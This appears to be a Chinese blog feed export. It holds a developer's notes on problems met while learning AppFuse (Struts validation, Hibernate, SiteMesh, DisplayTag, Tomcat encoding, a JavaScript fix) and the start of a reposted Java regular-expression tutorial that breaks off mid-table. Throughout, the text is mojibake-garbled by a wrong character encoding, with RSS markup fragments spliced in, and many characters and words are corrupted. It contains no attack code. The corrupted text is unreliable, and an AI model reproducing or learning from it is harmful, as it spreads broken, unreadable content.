1åQ?AppFuse中默认的MVC框架是StrutsåQŒè€Œä¸”使用的是LookupDispatchActionåQŒåƈ且ä‹É用的是按钮(buttonåQ‰ï¼Œåœ¨XP下用IE‹¹è§ˆæ•ˆæžœ˜q˜å¯ä»¥ï¼Œä½†å¦‚果在2000或è€?8下,ž®×ƒ‹É外观很难看,而且当时我还遇到一个问题:如果按钮昄¡¤ºä¸­æ–‡åQŒåˆ™åœ¨DisplayTag中翻™åµå¤±çµï¼Œè€Œä¸”报错åQŒåŽæ¥æˆ‘把BaseAction的相å…Ïx–¹æ³•改变了åQŒæ‰å¯ä»¥ä½¿ç”¨åQŒå› ä¸ºå›½å†…的客户都比较重视界面,所以后来我ž®†é‚£äº›æŒ‰é’®éƒ½æ”ÒŽˆå›„¡‰‡äº†ï¼Œå½“然也要æ·ÕdŠ ä¸€äº›æ–¹æ³•äº†åQŒæœ‰ç‚šwº»çƒ¦ï¼
2åQ?Struts中的标签如今推荐使用的只有html部分的标½{¾äº†åQŒå…¶ä»–的标签或者可以ä‹É用JSTL替代åQŒæˆ–者已¾lä¸æŽ¨èä½¿ç”¨äº†ï¼Œè€Œä¸”AppFuse中推荐ä‹É用JSTLåQŒè€ŒJSTLå’Œstruts的标½{„¡š„联合使用æ—Óž¼Œéœ€è¦çš„不是<html:标签>åQŒè€Œæ˜¯<html-el:标签>åQŒè¿™ä¸ªé—®é¢˜æ›¾¾lå›°æ‰îCº†æˆ‘æ•´æ•?天ã€?
3åQ?Strutsçš„Validationçš„æ ¡éªŒè§„åˆ™åÆˆä¸å®Œå–„ï¼Œæ¯”å¦‚å¦‚æžœä½¿ç”¨å®¢æˆ·ç«¯çš„javascript校验åQŒåˆ™åœ¨é‚®½Ž×ƒ¸­è¾“入汉字æ ÒŽœ¬æ ¡éªŒä¸å‡ºæ¥ï¼ŒåˆîCº†æœåŠ¡å™¨ç«¯æŠ¥é”™ã€?
4åQŽæœ€ä¸¥é‡çš„问题是AppFuse生成的Strutsçš„validation.xmlæ–‡äšg中有许多多余的â€?”,如果你去掉了åQŒå¸¸å¸¸åœ¨æ‰§è¡Œantçš?deployä»ÕdŠ¡æ—¶åˆæ¢å¤åŽŸæ ·ã€‚è¿™æ äh˜¯æäº¤è¡¨å•çš„æ—¶å€™ç»å¸æ€¼šæŠ¥javascript的脚本错误或者缺ž®‘对象或者缺ž®‘valueåQŒæ‰€ä»¥æˆ‘会手工的修改˜q™ä¸ªæ–‡äšgåQŒç„¶åŽæŠŠä¿®æ”¹åŽçš„æ–‡äšg备䆾åQŒå½“重新生成有错误的文äšgæ—Óž¼Œæˆ‘会用备份的没有错误的文件去覆盖ã€?
5åQ?Strutsçš„validatioin对于使用同一个FormBeançš„Action的校验方式比较复杂。(待解冻I¼‰ã€?
二.Hibernate
1åQ?Hibernate是现在受到越来越多的人推崇的一个ORM工具åQˆæ¡†æž¶ã€ç±»åº“)åQŒå®ƒž®†æˆ‘们从¾Jççš„ä‹É用JDBC的开发过½E‹ä¸­è§£æ”¾å‡ºæ¥åQŒä½†åŒæ—¶ä¹Ÿå¸¦æ¥äº†æ–°çš„问题åQŒå¦‚学习曲线åQŒæ‰§è¡Œæ•ˆçŽ‡ï¼Œæ•°æ®åº“è®¾è®¡ä¼˜åŒ–ï¼Œ˜q˜æœ‰æœ€é‡è¦çš„灵‹zÀL€§ã€‚Hibernate不是一个很å®ÒŽ˜“上手的东西,要完全驾驭它˜q˜éœ€è¦è¯»å¾ˆå¤šèµ„æ–™åQŒä½†å¥½çš„资料却很ž®‘ã€?
2åQ?使用Xdoclet可以很方便的生成Hibernate中的持久¾cȝš„配置文äšgåQ?.hbm.xmlåQ?但对一些特ŒDŠçš„æ˜ å°„å´æ— èƒ½äØ“åŠ›ï¼Œå¦‚ä‹É用序列的id生成规则åQŒåºåˆ—的名字没有地方写,所以也只好先利用它生成主要的内容,然后手工修改ã€?
3åQ?同样˜q˜æ˜¯id的生成策略问题,如果使用序列、hilo½{‰éœ€è¦ä¸€äº›æ•°æ®åº“机制支持的策略时åQŒschemaExportòq¶ä¸èƒ½è‡ªåŠ¨ç”Ÿæˆåºåˆ—æˆ–è€…ä¿å­˜å½“å‰id的表åQŒè¿™™å¹å·¥ä½œä»ç„¶è¦æ‰‹å·¥è§£å†³ã€?
4åQ?Hibernate中提供了几种兌™”åQŒä¸€å¯¹ä¸€ã€ä¸€å¯¹å¤šã€å¤šå¯¹å¤šåQŒä½†å¯¹äºŽæ€Žæ ·è°ƒæ•´æ•ˆçŽ‡å´æ²¡æœ‰ä¸€ä¸ªå¾ˆæ˜Žç¡®çš„æ½Cºï¼Œ˜q˜è¦æ ÒŽ®æƒ…况判定åQŒè¿™ž®±å¸¦æ¥å’Œä¸€äº›å¼¹æ€§çš„设计ã€?
5åQ?Hibernate中可以选择的操作数据库的方式有3¿Uï¼Œå…¶ä¸­HQL功能最强大åQŒä½†æœ‰äº›åŠŸèƒ½ä½¿ç”¨æ ‡å‡†æŸ¥è¯¢å¯èƒ½ä¼šæ›´æ–¹ä¾¿åQŒä½†ä¼šæœ‰ä¸€äº›é™åˆÓž¼Œæ‰€ä»¥è™½ç„¶å®ƒå¾ˆçµ‹z»ï¼Œä½†æ˜“用性不如JDBC好ã€?
三.Spring
在AppFuse的过½E‹ä¸­åQŒSpring完全隐藏在幕后,除了一些配¾|®å¤–åQŒå‡ ä¹Žæ„Ÿè§‰ä¸åˆ°å®ƒçš„存在,所以我在ä‹É用它的过½E‹ä¸­òq¶æ²¡æœ‰é‡åˆîC»€ä¹ˆéº»çƒ¦ï¼Œ˜q™é‡Œåªæ˜¯½Ž€å•的介绍一下它在AppFuse中è“v到的作用ã€?
1åQ?Spring在AppFuse中è“v到的主要作用是对Hibernateçš„Session和事务的½Ž¡ç†åQŒåˆ©ç”¨Springž®è£…çš„Hibernate模板¾c»ï¼Œæˆ‘们大大地减ž®‘了实现DAO的代码行数ã€?
2åQ?Spring˜q˜è“våˆîCº†˜qžæŽ¥æ˜ å°„æ–‡äšg和类之间的关联,及接口和实现¾cÖM¹‹é—´çš„å…Œ™”åQŒè¿™äº›éƒ½ä¾èµ–于Springçš„IoC的机制的实现ã€?
3åQ?对于字符˜q›è¡Œ¾~–码和解码部分用åˆîCº†Spring自带的FilteråQŒåªéœ€è¦åœ¨é…ç½®æ–‡äšg中配¾|®å°±å¥½äº†ã€?

四.SiteMesh
SiteMesh是一个基于Decorator模式的技术,它可以修饰返回的¾|‘页文äšgåQŒå®ƒçš„工作方式受到越来越多的人的推崇åQŒè¿™ç‚¹ä»ŽManning出版的一些技术书¾cä¸­å¯ä»¥çœ‹å‡ºæ¥ã€?
我在使用SiteMesh的过½E‹ä¸­òq¶ä¸™åºåˆ©åQŒæˆ‘参考了《Java Open Source Programming》,˜q™æœ¬ä¹¦ä¸­è¯´SiteMesh在默认的情况下不对下载文件进行装饎ͼŒä½†æˆ‘在下载文件时发现åQŒæˆ‘的文件内容被丢弃了,取而代之的æ˜?SiteMesh的模板的内容åQŒåŽæ¥æˆ‘通过修改SiteMesh的配¾|®æ–‡ä»¶è§£å†³äº†˜q™ä¸ªé—®é¢˜åQŒä½†æ„Ÿè§‰˜q˜æœ‰ä¸€äº›ä¸å¤ªæ¸…楚的地方需要学习ã€?

五.DisplayTag
DisplayTag 是一个优¿U€çš„æ˜¾½Cºå†…容的标签åQŒä»ŽSourceForge的访问量来看åQŒå®ƒæ˜¯å¾ˆ‹z»è·ƒçš„项目,仅次于Ant、Hibernate、Xdoclet½{‰å‡ ä¸ªè‘—名的™å¹ç›®åQŒæˆ‘æ€È»“åQŒå®ƒçš„主要功能有4™å¹ï¼šæ˜„¡¤ºã€åˆ†™åüc€æŽ’序、将昄¡¤ºçš„æ•°æ®å†™å…¥æŒ‡å®šç±»åž‹çš„æ–‡äšg中,然后下蝲ã€?
1åQ?据我使用的情å†ëŠœ‹åQŒæˆ‘只ä‹É用了分页和显½Cºçš„功能åQŒå› ä¸ºå½“时我没有很好的解决中文编码的问题åQŒæ‰€ä»¥æŽ’序会有问题,直到昨天åQŒæˆ‘在朋友的帮助下解决了˜q™ä¸ªé—®é¢˜åQŒè‡³æ­¤æˆ‘可以攑ֿƒä½¿ç”¨çš„功能又增加了排åº?我昨天简单的‹¹‹è¯•了一下是可以çš?ã€?

2åQ?但对于将昄¡¤ºçš„内容生成到一个指定格式的文äšg中的功能却有着很多¾~ºé™·åQŒå¦‚åQ?
åQ?åQ?生成的文件中只有昄¡¤ºçš„æ•°æ®ï¼Œé‚£äº›æ²¡æœ‰æ˜„¡¤ºåœ¨ç•Œé¢ä¸Šçš„的数据åQŒåˆ™ä¸ä¼šè¢«å†™åˆ°æ–‡ä»¶ä¸­ã€?
åQ?åQ?如果修改了DisplayTag的显½Cºçš„内容åQŒæ¯”如添加一列,在这列中的内容不是字½W¦ï¼Œè€Œæ˜¯HTML的标½{¾ï¼Œåˆ™ç”Ÿæˆçš„æ–‡äšg只有˜q™äº›HTML标签åQŒè€Œæ²¡æœ‰æ•°æ®ã€?
åQ?åQ?即ä‹ÉDisplayTag中没有我们定制的HTML脚本åQŒç”Ÿæˆçš„æ–‡äšg偶尔也有问题åQŒæ¯”如:它会把â€?07â€ç”ŸæˆäØ“â€?”,把字½W¦ä¸²è‡ªåŠ¨çš„è{æ¢äØ“æ•´åž‹å€¹{€‚有时候还生成½Iºç™½å†…容的文件ã€?
åQ?åQ?DisplayTag生成的Excelæ–‡äšg兼容性不好,有时在Excel2003中不能正常打开åQŒæˆ–者在XP下打开报错ã€?
后来åQŒæˆ‘看了作者写的《Spring Live》,书中说如果想实现½E›_®šçš„ExcelåQŒæŽ¨èä‹É用POIåQŒäºŽæ˜¯æˆ‘使用POI生成ExcelåQŒç¨³å®šæ€§å’Œå…¼å®¹æ€§éƒ½ä¸é”™ã€?

六.DBUnit
DBUnit是一个可以被Ant集成的向数据库中æ·ÕdŠ æ•°æ®å’Œå¤‡ä»½æ•°æ®çš„ä¸€ä¸ªç±»åº“ï¼Œé…ç½®å¾ˆæ–¹ä¾¿ï¼Œå› äØ“AppFuse已经集成好了åQŒæ‰€ä»¥ä‹É用也很容易ã€?
但是如果你ä‹É用EditPlus之类的工å…äh‰‹å·¥ä¿®æ”¹äº†AppFuse生成的内容,则执行Antçš„setup、setup-db或者deployçš„ä“Q务时åQŒå¸¸å¸¸æŠ¥é”™ï¼Œè¯´æ— æ•ˆçš„æ ¼å¼åQŒè¿™æ˜¯å› ä¸ø™¿™ä¸ªè¢«æ‰‹å·¥ä¿®æ”¹çš„æ–‡ä»¶å†‹Æ¡è¢«AppFuse执行后,它的½W¬ä¸€è¡Œçš„æ–‡äšg声明的前几个字母是无效的åQŒæ˜¯å› äؓ本地的字½W¦é›†¾~–码的原因而引起了ä¹Þq åQŒå¦‚果把˜q™å‡ ä¸ªæ— æ•ˆçš„字母åŽÀLމåQŒé—®é¢˜å°±è§£å†³äº†ã€?

七.Struts Menu
Struts Menu也是AppFuse的作者开发的一个开源èÊYä»Óž¼Œå®ƒå¯ä»¥æ ¹æ®é…¾|®æ–‡ä»¶è¯»å–当前用户可以ä‹É用的功能菜单åQŒè¿™ä¸ªåŠŸèƒ½æ˜¯æˆ‘ä¸€ç›´ä»¥æ¥éƒ½æƒŒ™¦çš„,我也扑ֈ°äº†ä¸€äº›ä»£ç ï¼Œä½†å®žçŽ°çš„éƒ½ä¸å¦‚è¿™ä¸ªå®Œå–„ï¼Œæ²¡ä»€ä¹ˆå¥½è¯´çš„åQŒä‹É用简单,配置å®ÒŽ˜“åQŒå¾ˆå¥½çš„解决了我的问题ã€?
问题是我只ä‹É用了AppFuse提供çš?个角è‰ÔŒ¼Œå¯¹äºŽå¤šä¸ªè§’色的实验我˜q˜æ²¡æœ‰åšã€?

八.XDoclet
在AppFuse中,使用Xdoclet生成了几乎一切的配置文äšgåQšStruts-config.xml、web.xml、validation.xmlã€?.hbm.xml½{‰æ–‡ä»Óž¼Œå¦‚果使用AppGen的话åQŒè¿˜ä¼šç”Ÿæˆæ›´å¤šçš„æ–‡äšgåQŒè¿™ä¸€åˆ‡éƒ½æ˜¯ä‹É用Xdoclet实现的ã€?
问题是我在Struts部分提到的,生成的Validation.xmlæ–‡äšg中会多生成一个â€?”,另外在生成资源文件时也会多生成一个â€?”,目前我没有很好的阅读˜q™æ®µä»£ç åQŒä¸çŸ¥é“是不是Xdoclet的问题ã€?

九.Ant
Antòq¶æ²¡æœ‰ä»€ä¹ˆé—®é¢˜ï¼Œä½†åœ¨æ‰§è¡Œä½œè€…写的Antä»ÕdŠ¡çš„æ—¶å€™ï¼Œæœ‰ä¸€äº›ä“Q务不能正常执行,比如åQŒè¿è¡Œæ¨¡æ‹Ÿå¯¹è±¡æµ‹è¯•çš„ä»ÕdŠ¡åQŒä½œè€…也åœ?.7版本的修复列表中提到以前版本有些antä»ÕdŠ¡ä¸èƒ½æ‰§è¡ŒåQŒåœ¨1.7中修改了一些antä»ÕdŠ¡åQŒä‹É他们能够正常的执行了ã€?
实际上,我们如果使用AppGen˜q›è¡Œå¼€å‘的话,使用的ä“Q务一般不­‘…过8个ã€?

十.JSTL
JSTL 是个好东西,我常用的æœ?lt;c:>å’?lt;fmt:>部分的标½{¾ï¼Œä½†æ˜¯å¦‚果使用JSTL˜q›è¡Œé€»è¾‘判断åQŒæˆ‘òq¶æ²¡æœ‰æ„Ÿè§‰æ¯”使用JSP的代码块优雅多少。另外,熟悉JSTL也需要一ŒD‰|—¶é—ß_¼Œæˆ‘å°±¾låŽ†äº†é¢å¯¹ç€JSP™åµé¢ä¸çŸ¥é“该怎么写JSTL语法的困境。当ç„Óž¼ŒAppFuse中ä‹É用的基本都是 JSTLåQŒåŒ…括向DisplayTag传递显½Cºçš„æ•°æ®åQŒä‹É用的都是JSTL语法åQŒè¿™æ–šw¢çš„资料挺多,我参考的是电子工业出版社出的《JSP2.0技术》,说的很详¾l†ã€?

十一.Tomcat
ä½ ä¹Ÿè®æ€¼šè¯ß_¼šâ€œTomcatž®×ƒ¸ç”¨è¯´äº†å§åQŸâ€ï¼Œæ˜¯çš„åQŒTomcat一般都会ä‹É用,但是 ―――――――――――――Tomcat5å’ŒTomcat4.X对于中文¾~–码使用了不同的机制åQŒè¿™ä¸ªé—®é¢˜å›°æ‰îCº†æˆ‘好久,我解决了™åµé¢ä¸Šå†™å…¥æ±‰å­—显½CÞZؕ码的问题åQŒæˆ‘也曾¾lä»¥ä¸ºDisplayTagå¯Òޱ‰å­—不能排序,也不能正常分™å‰|˜¯å› äØ“DisplayTag的开发者都是老外åQŒæ˜¯å› äؓ他们没有考虑中文的关¾pȝš„原因ã€?
直到昨天åQŒæˆ‘才知道这一切都是因为Tomcat5å¯Òޱ‰å­—编码的实现的方式和Tomcat4不一æ ïLš„原因åQŒå¦‚果感兴趣åQŒå¯ä»¥çœ‹çœ‹è¿™ä¸ªå¸–子: http://www.javaworld.com.tw/jute/post/view?bid=9&id=44042&sty=1&tpg=1&age=0

十二.JavaScript
JavaScript½Ž€å•易学,但想˜qç”¨è‡ªå¦‚ž®×ƒ¸å¤ªå®¹æ˜“了。AppFuse中嵌入了几个jsæ–‡äšgåQŒé‡Œé¢åŒ…含了许多函数åQŒå€¼å¾—我们好好的研½I¶ä¸€ä¸‹ï¼Œæ¯”如åQŒå¦‚果有一个必填字ŒD‰|²¡æœ‰å¡«å†™ï¼ŒAppFuse会自动的聚焦在那个input上,¾cÖM¼¼çš„小技巧有很多åQŒä½ å¯ä»¥è‡ªå·±åŽÈ¿»çœ‹ã€?
但AppFuse 自带的JavaScript脚本有一个BugåQŒå°±æ˜¯å½“DisplatyTag中没有可以显½Cºçš„æ•°æ®æ—Óž¼Œä½ ç”¨é¼ æ ‡å•击åQŒå®ƒä¼šæŠ¥JavaScript错误åQŒä½ ä»”细研究一下function highlightTableRows(tableId) ž®ÞqŸ¥é“了åQšæˆ‘çš„è§£å†›_Šžæ³•æ˜¯åœ¨location.href = link.getAttribute("href");前面æ·ÕdŠ ä¸€è¡Œåˆ¤æ–­ï¼šif (link != null)ã€?

十三.资源文äšg国际åŒ?
对于Strutså’ŒDisplayTag都涉及到资源文äšg国际化AppFuse1.6.1很好的解决了Struts资源映射文äšg国际化的问题åQŒä½ åªéœ€è¦åœ¨å¯¹åº”本国语言的资源文件中写入汉字åQŒAnt中有一™åÒŽ‰§è¡Œnative2asciiçš„ä“Q务,AppFuseè‡ªåŠ¨çš„äØ“ä½ è¿›è¡Œäº†èµ„æºæ–‡äšg的编码è{换,而对äº?DisplayTag的资源文仉™—®é¢˜ï¼Œ˜q˜è¦è‡ªå·±æ‰§è¡Œnative2ascii命ä×oåQŒäؓ了避免每‹Æ¡éƒ½è¾“入一串命令,我用Delphi写了个小工具åQŒå¯è§†åŒ–的选择资源文äšgåQŒç‚¹å‡ÀLŒ‰é’®è‡ªåŠ¨æ‰§è¡Œè¯¥å‘½ä×oåQŒåº•层依赖于JDKã€?


¾lè¿‡2个多月的学习åQŒæˆ‘感觉˜q™ä¸ªæ¡†æž¶éžå¸¸ä¸é”™åQŒå®ƒä¸ºæˆ‘以后的项目开发指å‡ÞZº†ä¸€ä¸ªæ–°çš„æ–¹å‘,但如果想很熟¾lƒçš„使用˜q™ä¸ªæ¡†æž¶˜q›è¡Œå¼€å‘,臛_°‘要对以下几种技术比较熟¾lƒï¼šStruts(或者WebWork、Spring及其他的已经整合˜q›æ¥çš„MVC框架)、HibernateåQˆæˆ–者ibatisåQ‰ã€JSTLåQŒå½“然其他的技术至ž®‘也要知道一点,否则遇到问题都不知道出在哪里ã€?


目前我还没有解决的问题有åQ?
1åQ?如何在翻™å늚„时候才è¯Õd–下面的数据?
2åQ?怎样对ä‹É用同一个FormBean的多个Form˜q›è¡Œå®¢æˆ·ç«¯æ ¡éªŒï¼Ÿ
3åQ?怎样优化Hibernate的效率?《Hibernate In Action》中提供了多¿Uç­–略,有些时候应该ä‹É用lazyåQŒæœ‰äº›æ—¶å€™åº”该ä‹É用outer-joinã€?
4åQŽåœ¨ä»€ä¹ˆæ—¶æœºç”Ÿæˆå¯¼å‡ºæ–‡ä»Óž¼Ÿç›®å‰æˆ‘是在查询的Action中同时生成了导出文äšgåQŒå¦åˆ™ï¼ŒåˆîCº†ä¸‹ä¸€™åµï¼Œæˆ‘就不知道查询条件了åQŒå½“ç„Óž¼Œå¦‚果把拼装后的HQL存储在Session或者Hidden中也可以解决˜q™ä¸ªé—®é¢˜åQŒä½†æ˜¯è¿™æ ·å°±ç ´åäº†DAO的封装,要把DAOž®è£…后的HQL发送给ActionåQŒç„¶åŽå‘送的åˆ?Web界面层,所以目前我˜q˜åœ¨çйèõU生成导出文äšg的时机选择在哪里?
5åQ?什么时候应该自å·ÞpŽ·å–æ•°æ®åº“˜qžæŽ¥åQŒæ‰§è¡Œnative SQLåQŸå…·ä½“需要注意些什么?
6åQ?SiteMesh的模板优化?
7åQ?DisplayTag的底层实玎ͼŸ


每个问题都比较棘手,要一个一个解冻I¼

˜q™ä¸ªæ¡†æž¶çš„优ç‚ÒŽ˜¯åQšå¦‚果熟悉了开发流½E‹ï¼Œå¯ä»¥å¤§å¹…度的提高开发速度åQŒå¦‚果业务不是很复杂åQŒä‹É用AppGen可以生成60%左右的代码,而且½E‹åºå¯ç»´æŠ¤æ€§å¥½åQŒå› ä¸ÞZ½œè€…ä‹É用了多个设计模式对各个层面进行了ž®è£…åQŒæ‰€ä»¥ä¸åŒçš„æ¨¡å—代码风格出奇的一è‡ß_¼Œæœ‰åˆ©äºŽå¼€å‘äh员快速上手,也有利于接收其他开发äh员遗留的代码ã€?/P>



]]>
正则表达å¼?/title><link>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html</link><dc:creator>frankboy</dc:creator><author>frankboy</author><pubDate>Tue, 27 Dec 2005 15:18:00 GMT</pubDate><guid>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html</guid><wfw:comment>http://www.aygfsteel.com/frankboy/comments/25637.html</wfw:comment><comments>http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/frankboy/comments/commentRss/25637.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/frankboy/services/trackbacks/25637.html</trackback:ping><description><![CDATA[<H2 id=header55>正则表达å¼?/H2> <P>(转脓)</P> <P>ä½œäØ“æœ¬ç« çš„ç»“ž®¾ï¼Œæˆ‘们来看一看正则表辑ּ(regular expression)。正则表辑ּæ˜?SPAN class=original_words>JDK 1.4</SPAN>的新功能åQŒä½†æ˜¯å¯¹sedå’Œawk˜q™æ ·çš„Unixçš„æ ‡å‡†å®žç”¨å·¥å…øP¼Œä»¥åŠPythonåQŒPerl之类的语­a€æ¥è®²åQŒå®ƒæ—©å°±å·²ç»æˆäؓ其不可或¾~ºçš„¾l„成部分äº?有ähç”šè‡³è®¤äØ“åQŒå®ƒ˜q˜æ˜¯Perl能大èŽähˆåŠŸçš„æœ€ä¸»è¦çš„åŽŸå›?。单从技术角度来è®ÔŒ¼Œæ­£åˆ™è¡¨è¾¾å¼åªæ˜¯ä¸€¿Uå¤„理字½W¦ä¸²çš„å·¥å…?˜q‡åŽ»<span id="wmqeeuq" class=original_words>Java</SPAN>˜q™ä¸ªä»ÕdŠ¡æ˜¯äº¤ç”?SPAN class=original_words>String</SPAN>åQ?SPAN class=original_words>StringBuffer</SPAN>以及<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>处理çš?åQŒä½†æ˜¯å®ƒå¸¸å¸¸å’ŒI/O一起ä‹É用,所以放到这里来讲也不算太离题吧ã€?A id=ref66 href="mk:@MSITStore:C:\Documents%20and%20Settings\wangkai\桌面\TIJ3_cn.chm::/chap12/nocomment.html#comment66"><SUP>[66]</SUP></A></P> <P>正则表达式是一¿UåŠŸèƒ½å¼ºå¤§ä½†åˆéžå¸¸çµ‹zÈš„æ–‡æœ¬å¤„理工具。它能让你用¾~–程的方式来描述复杂的文本模式,然后在字½W¦ä¸²é‡ŒæŠŠå®ƒæ‰¾å‡ºæ¥ã€‚一旦你扑ֈ°äº†è¿™¿Uæ¨¡å¼ï¼Œä½ å°±èƒ½éšå¿ƒæ‰€‹Æ²åœ°å¤„理˜q™äº›æ–‡æœ¬äº†ã€‚虽然初看è“v来正则表辑ּçš„语法有点让人望而生畏,但它提供了一¿Uç²¾¾lƒçš„动态语­a€åQŒä‹É我们能用一¿Ué€šç”¨çš„æ–¹å¼æ¥è§£å†³å„种字符串的问题åQŒåŒ…括匹配,选择åQŒç¼–辑以及校验ã€?/P> <H3 id=header56>创徏正则表达å¼?/H3> <P>你可以从比较½Ž€å•的东西入手学习正则表达式。要惛_…¨é¢åœ°æŽŒæ¡æ€Žæ ·æž„徏正则表达式,可以åŽÈœ‹<span id="wmqeeuq" class=original_words>JDK</SPAN>文档çš?SPAN class=original_words>java.util.regex</SPAN>çš?SPAN class=original_words>Pattern</SPAN>¾cÈš„æ–‡æ¡£ã€?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR> <TH colSpan=2>字符</TH></TR> <TR> <TD><span id="wmqeeuq" class=original_words>B</SPAN></TD> <TD>字符<span id="wmqeeuq" class=original_words>B</SPAN></TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\xhh</SPAN></TD> <TD>16˜q›åˆ¶å€?SPAN class=original_words>0xhh</SPAN>所表示的字½W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\uhhhh</SPAN></TD> <TD>16˜q›åˆ¶å€?SPAN class=original_words>0xhhhh</SPAN>所表示的Unicode字符</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\t</SPAN></TD> <TD>Tab</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\n</SPAN></TD> <TD>换行½W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\r</SPAN></TD> <TD>回èžR½W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\f</SPAN></TD> <TD>换页½W?/TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>\e</SPAN></TD> <TD>Escape</TD></TR></TBODY></TABLE> <P>正则表达式的强大体现在它能定义字½W¦é›†(character class)。下面是一些最常见的字½W¦é›†åŠå…¶å®šä¹‰çš„æ–¹å¼ï¼Œæ­¤å¤–˜q˜æœ‰ä¸€äº›é¢„定义的字½W¦é›†åQ?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> <TR vAlign=top> <TH colSpan=2><span id="wmqeeuq" class=original_words>字符é›?/SPAN> </TH></TR> <TR vAlign=top> <TD vAlign=top><span id="wmqeeuq" class=original_words>.</SPAN> </TD> <TD vAlign=top>表示ä»ÀL„ä¸€ä¸ªå­—½W?</TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[abc]</SPAN> </TD> <TD vAlign=top width=311>表示字符<span id="wmqeeuq" class=original_words>a</SPAN>åQ?SPAN class=original_words>b</SPAN>åQ?SPAN class=original_words>c</SPAN>中的ä»ÀL„ä¸€ä¸?ä¸?SPAN class=original_words>a|b|c</SPAN>相同) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[^abc]</SPAN> </TD> <TD vAlign=top width=311>é™?SPAN class=original_words>a</SPAN>åQ?SPAN class=original_words>b</SPAN>åQ?SPAN class=original_words>c</SPAN>之外的ä“Q意一个字½W?否定) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[a-zA-Z]</SPAN> </TD> <TD vAlign=top width=311>ä»?SPAN class=original_words>a</SPAN>åˆ?SPAN class=original_words>z</SPAN>æˆ?SPAN class=original_words>A</SPAN>åˆ?SPAN class=original_words>Z</SPAN>当中的ä“Q意一个字½W?范围) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[abc[hij]]</SPAN> </TD> <TD vAlign=top width=311><span id="wmqeeuq" class=original_words>a,b,c,h,i,j</SPAN>中的ä»ÀL„ä¸€ä¸ªå­—½W?ä¸?SPAN class=original_words>a|b|c|h|i|j</SPAN>相同)(òq‰™›†) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>[a-z&&[hij]]</SPAN> </TD> <TD vAlign=top width=311><span id="wmqeeuq" class=original_words>h,i,j</SPAN>中的一ä¸?交集) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\s</SPAN> </TD> <TD vAlign=top width=311>½Iºæ ¼å­—符(½Iºæ ¼é”? tab, 换行, 换页, 回èžR) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\S</SPAN> </TD> <TD vAlign=top width=311>非空格字½W?<span id="wmqeeuq" class=original_words>[^\s]</SPAN>) </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\d</SPAN> </TD> <TD vAlign=top width=311>一个数字,也就æ˜?SPAN class=original_words>[0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\D</SPAN> </TD> <TD vAlign=top width=311>一个非数字的字½W¦ï¼Œä¹Ÿå°±æ˜?SPAN class=original_words>[^0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\w</SPAN> </TD> <TD vAlign=top width=311>一个单词字½W?word character)åQŒå³<span id="wmqeeuq" class=original_words>[a-zA-Z_0-9]</SPAN> </TD></TR> <TR vAlign=top> <TD vAlign=top width=131><span id="wmqeeuq" class=original_words>\W</SPAN> </TD> <TD vAlign=top width=311>一个非单词的字½W¦ï¼Œ<span id="wmqeeuq" class=original_words>[^\w]</SPAN> </TD></TR></TBODY></TABLE> <P>如果你用˜q‡å…¶å®ƒè¯­­a€çš„æ­£åˆ™è¡¨è¾‘Ö¼åQŒé‚£ä¹ˆä½ ä¸€çœ¼å°±èƒ½çœ‹å‡ºåæ–œæ çš„与众不同。在其它语言里,"<span id="wmqeeuq" class=original_words>\\</SPAN>"的意思是"我只是要在正则表辑ּé‡Œæ’入一个反斜杠。没什么特别的意思ã€?但是在Java里,"<span id="wmqeeuq" class=original_words>\\</SPAN>"的意思是"我要插入一个正则表辑ּçš„反斜杠åQŒæ‰€ä»¥è·Ÿåœ¨å®ƒåŽé¢çš„那个字½W¦çš„æ„æ€å°±å˜äº†ã€?举例来说åQŒå¦‚果你惌™¡¨½CÞZ¸€ä¸ªæˆ–更多çš?单词字符"åQŒé‚£ä¹ˆè¿™ä¸ªæ­£åˆ™è¡¨è¾‘Ö¼ž®±åº”该是"<span id="wmqeeuq" class=original_words>\\w+</SPAN>"。如果你要插入一个反斜杠åQŒé‚£ž®±å¾—ç”?<span id="wmqeeuq" class=original_words>\\\\</SPAN>"。不˜q‡åƒæ¢è¡ŒåQŒèŸ©æ ég¹‹¾cȝš„˜q˜æ˜¯åªç”¨ä¸€æ ¹åæ–œæ åQ?\n\t"ã€?/P> <P>˜q™é‡Œåªç»™ä½ è®²ä¸€ä¸ªä¾‹å­ï¼›ä½ åº”è¯?SPAN class=original_words>JDK</SPAN>文档çš?SPAN class=original_words>java.util.regex.Pattern</SPAN>加到收藏多w‡ŒåQŒè¿™æ ·å°±èƒ½å¾ˆå®ÒŽ˜“地找到各¿Uæ­£åˆ™è¡¨è¾‘Ö¼çš„æ¨¡å¼äº†ã€?/P> <TABLE class=narration cellSpacing=0 borderColorDark=#000000 cellPadding=2 borderColorLight=#000000 border=2> <TBODY> 